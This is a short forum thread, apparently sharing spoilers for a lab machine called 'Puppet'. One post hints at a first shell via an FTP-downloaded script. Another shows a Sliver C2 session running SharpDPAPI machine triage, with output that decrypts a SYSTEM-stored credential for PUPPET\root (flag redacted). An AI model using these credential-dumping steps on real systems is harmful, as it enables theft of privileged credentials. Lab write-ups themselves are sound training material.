[monkeyNo1]

It's possible to get first shell and flag - download script via FTP and connect. Let's discuss

[Shenron]

^^

sliver (puppet-mtls) > sharpdpapi machinetriage

[*]sharpdpapi output:

  __                _  _      _ ___
(_  |_  _. ._ ._  | \ |_) /\  |_) | 
__) | | (_| |  |_) |_/ |  /--\ |  _|_
                |                     
  v1.12.0                             

<SNIP>
Folder      : C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  CredFile          : 39FAB9BA3A19E88594B1D50B5E44AAA4

    guidMasterKey    : {e2de4c34-3c46-411f-91cb-ab2c9cd2f205}
    size            : 592
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
    description      : Local Credential Data

    LastWritten      : 10/12/2025 1:44:00 AM
    TargetName      : Domain:batch=TaskScheduler:Task:{ACFD7F3B-51A4-4B11-8428-F287E956EC4C}
    TargetAlias      :
    Comment          :
    UserName        : PUPPET\root
    Credential      : <REDACTED FLAG FOR BF>
</SNIP>

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Contact Administration.

[monkeyNo1]

Thank you very much

[UGLYMAN]

thank you for the info will check it

[X_Diaz]

thank you very much for sharing with all of us!

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Contact Administration.

[FernandoCaliente2]

really? will try this info. Thanks

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Contact Administration.